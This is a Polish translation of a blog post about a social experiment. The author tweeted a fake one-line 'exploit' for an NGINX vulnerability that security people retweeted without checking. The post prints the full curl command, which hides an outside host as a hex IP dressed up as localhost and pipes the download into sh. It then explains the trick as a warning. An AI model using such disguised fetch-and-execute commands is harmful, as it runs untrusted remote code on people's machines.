{"id":35126,"date":"2019-10-31T22:02:28","date_gmt":"2019-10-31T19:02:28","guid":{"rendered":"https:\/\/prohoster.info\/blog\/uspeh-sotsialnogo-eksperimenta-s-poddelnym-eksplojtom-dlya-nginx\/"},"modified":"2019-10-31T22:02:28","modified_gmt":"2019-10-31T19:02:28","slug":"uspeh-sotsialnogo-eksperimenta-s-poddelnym-eksplojtom-dlya-nginx","status":"publish","type":"post","link":"https:\/\/prohoster.info\/pl\/blog\/administrirovanie\/uspeh-sotsialnogo-eksperimenta-s-poddelnym-eksplojtom-dlya-nginx","title":{"rendered":"Sukces eksperymentu spo\u0142ecznego z fa\u0142szywym exploitem dla nginx","gt_translate_keys":[{"key":"rendered","format":"text"}]},"content":{"rendered":"

Przyp. t\u0142um.<\/b>: Autor<\/a><\/noindex> oraz podj\u0119to pr\u00f3b\u0119 przeprowadzenia eksperymentu w\u015br\u00f3d os\u00f3b zainteresowanych bezpiecze\u0144stwem informacji. W tym celu przygotowano fa\u0142szywy exploit dla nieujawnionej luki w serwerze WWW i zamieszczono go na swoim Twitterze. Jego przypuszczenia dotycz\u0105ce tego, \u017ce natychmiast zostanie zdemaskowany przez specjalist\u00f3w, kt\u00f3rzy zobacz\u0105 oczywiste oszustwo w kodzie, nie tylko si\u0119 nie potwierdzi\u0142y\u2026 Przeciwnie, przewy\u017cszy\u0142y wszelkie oczekiwania: tweet zyska\u0142 ogromne wsparcie od licznych u\u017cytkownik\u00f3w, kt\u00f3rzy nie sprawdzili jego tre\u015bci.<\/i><\/p>\n

\"Sukces
\n
\nTL;DR: absolutnie nie u\u017cywaj potok\u00f3w plik\u00f3w w sh lub bash. To \u015bwietny spos\u00f3b na utrat\u0119 kontroli nad komputerem.<\/b><\/a><\/noindex><\/p>\n

Chc\u0119 podzieli\u0107 si\u0119 z wami kr\u00f3tk\u0105 histori\u0105 o \u017cartobliwym PoC-exploicie, kt\u00f3ry zosta\u0142 stworzony 31 maja. Powsta\u0142 szybko w odpowiedzi na wiadomo\u015b\u0107 od Alisa Esage Szewczenko<\/a><\/noindex>, cz\u0142onka Zero Day Initiative<\/a><\/noindex> (ZDI), informuj\u0105cego, \u017ce wkr\u00f3tce ujawnione zostan\u0105 szczeg\u00f3\u0142y dotycz\u0105ce luki w NGINX, prowadz\u0105cej do RCE (zdalnego wykonania kodu). Poniewa\u017c NGINX jest podstaw\u0105 wielu stron internetowych, wiadomo\u015b\u0107 powinna by\u0142a wywo\u0142a\u0107 efekt bombowego wybuchu. Jednak z powodu op\u00f3\u017anie\u0144 w procesie 'odpowiedzialnego ujawniania' szczeg\u00f3\u0142y dotycz\u0105ce zdarzenia by\u0142y nieznane \u2014 taka jest standardowa procedura ZDI.<\/p>\n

\"Sukces
\nTweet<\/a><\/noindex> o ujawnieniu luki w NGINX<\/i><\/p>\n

Ko\u0144cz\u0105c prac\u0119 nad now\u0105 technik\u0105 obfuskacji w curl, zacytowa\u0142em oryginalnego tweeta i 'wyciek\u0142em dzia\u0142aj\u0105cy PoC', sk\u0142adaj\u0105cy si\u0119 z jednej linijki kodu, rzekomo wykorzystuj\u0105cej odkryt\u0105 luk\u0119. Oczywi\u015bcie, by\u0142 to ca\u0142kowity nonsens. S\u0105dzi\u0142em, \u017ce natychmiast zostan\u0119 zdemaskowany, a w najlepszym razie dostan\u0119 kilka retweet\u00f3w (c\u00f3\u017c, niech b\u0119dzie).<\/p>\n

\"Sukces
\nTweet<\/a><\/noindex> z fa\u0142szywym exploitem<\/i><\/p>\n

Jednak nie mog\u0142em sobie wyobrazi\u0107 tego, co wydarzy\u0142o si\u0119 p\u00f3\u017aniej. Popularno\u015b\u0107 mojego tweeta wzros\u0142a niesamowicie. Co dziwne, do tej pory (15:00, 1 czerwca) niewiele os\u00f3b zorientowa\u0142o si\u0119, \u017ce to oszustwo. Wielu retweetuje go bez sprawdzania (nie m\u00f3wi\u0105c ju\u017c o podziwianiu pi\u0119knej grafiki ASCII, kt\u00f3r\u0105 wy\u015bwietla).<\/p>\n

\"Sukces
\nZobaczcie, jaka to pi\u0119kno\u015b\u0107!<\/i><\/p>\n

Chocia\u017c wszystkie te cykle i kolory s\u0105 wspania\u0142e, jasne jest, \u017ce aby je zobaczy\u0107, ludzie musieli uruchomi\u0107 kod na swoim komputerze. Na szcz\u0119\u015bcie przegl\u0105darki dzia\u0142aj\u0105 w podobny spos\u00f3b, a bior\u0105c pod uwag\u0119 fakt, \u017ce nie potrzebuj\u0119 problem\u00f3w z prawem, kod ukryty na mojej stronie po prostu wywo\u0142ywa\u0142 polecenia echo, nie pr\u00f3buj\u0105c ustawia\u0107 ani wykonywa\u0107 jakiegokolwiek dodatkowego kodu.<\/p>\n

Ma\u0142e dygresja: netspooky<\/a><\/noindex>, dnz<\/a><\/noindex>, ja i inni ch\u0142opcy z zespo\u0142u Thugcrowd<\/a><\/noindex> ju\u017c od d\u0142u\u017cszego czasu bawimy si\u0119 r\u00f3\u017cnymi sposobami obfuskacji polece\u0144 curl, poniewa\u017c to jest zabawne... i jeste\u015bmy geekami. netspooky i dnz odkryli kilka nowych sposob\u00f3w, kt\u00f3re wydawa\u0142y mi si\u0119 niezwykle obiecuj\u0105ce. Do\u0142\u0105czy\u0142em do zabawy i postanowi\u0142em doda\u0107 konwersj\u0119 IP na format dziesi\u0119tny do zestawu sztuczek. Okaza\u0142o si\u0119, \u017ce IP mo\u017cna tak\u017ce konwertowa\u0107 na format szesnastkowy. Ponadto, curl i wi\u0119kszo\u015b\u0107 innych narz\u0119dzi NIX ch\u0119tnie \u201eprzyswaja\u201d szesnastkowe IP! W rezultacie trzeba by\u0142o po prostu stworzy\u0107 przekonuj\u0105c\u0105 i bezpiecznie wygl\u0105daj\u0105c\u0105 lini\u0119 polece\u0144. Ostatecznie zatrzyma\u0142em si\u0119 na tej:<\/p>\n

curl -gsS https:\/\/127.0.0.1-OR-VICTIM-SERVER:443\/..\/..\/..\/\/nginx-handler?\/usr\/lib\/nginx\/modules\/ngx_stream_module.so:127.0.0.1:80:\/bin\/sh<'protocol:TCP' -O 0x0238f06a#PLToffset |sh; nc \/dev\/tcp\/localhost<\/code><\/pre>\n
<\/p>\n
Socjo-elektroniczne in\u017cynierowanie (S.E.E.) \u2014 to wi\u0119cej ni\u017c tylko phishing<\/h2>\n
\nBezpiecze\u0144stwo i znajomo\u015b\u0107 by\u0142y kluczowymi cz\u0119\u015bci\u0105 tego eksperymentu. My\u015bl\u0119, \u017ce to w\u0142a\u015bnie one przyczyni\u0142y si\u0119 do jego sukcesu. Linia polece\u0144 jednoznacznie sugerowa\u0142a bezpiecze\u0144stwo, odnosz\u0105c si\u0119 do \u201e127.0.0.1\u201d (wszystko znany localhost). Uwa\u017ca si\u0119, \u017ce localhost jest bezpieczny, a dane na nim nigdy nie opuszczaj\u0105 twojego komputera.<\/p>\n
Znajomo\u015b\u0107 by\u0142a drugim kluczowym sk\u0142adnikiem S.E.E. eksperymentu. Poniewa\u017c docelowa publiczno\u015b\u0107 sk\u0142ada\u0142a si\u0119 g\u0142\u00f3wnie z os\u00f3b zaznajomionych z podstawami bezpiecze\u0144stwa komputerowego, wa\u017cne by\u0142o stworzenie takiego kodu, aby jego elementy wydawa\u0142y si\u0119 znajome i wygodne (a zatem bezpieczne). Po\u017cyczanie element\u00f3w starych koncepcji exploit\u00f3w i ich \u0142\u0105czenie w nietypowy spos\u00f3b okaza\u0142o si\u0119 bardzo skuteczne.<\/p>\n
Poni\u017cej znajduje si\u0119 szczeg\u00f3\u0142owa analiza jednego wiersza. Wszystko na tej li\u015bcie ma charakter kosmetyczny<\/b>, a do jego rzeczywistego dzia\u0142ania praktycznie nic nie jest wymagane.<\/i><\/p>\n
Jakie komponenty s\u0105 naprawd\u0119 potrzebne? To s\u0105 -gsS<\/code>, -O 0x0238f06a<\/code>, |sh<\/code> i sam serwer internetowy. Serwer nie zawiera\u0142 \u017cadnych z\u0142o\u015bliwych instrukcji, a jedynie przekazywa\u0142 grafik\u0119 ASCII za pomoc\u0105 polece\u0144 echo<\/code> w skrypcie zawartym w index.html<\/code>. Gdy u\u017cytkownik wpisywa\u0142 ci\u0105g z |sh<\/code> w \u015brodku, index.html<\/code> \u0142adowany by\u0142 i wykonywany. Na szcz\u0119\u015bcie stra\u017cnicy serwera internetowego nie mieli z\u0142ych zamiar\u00f3w.<\/p>\n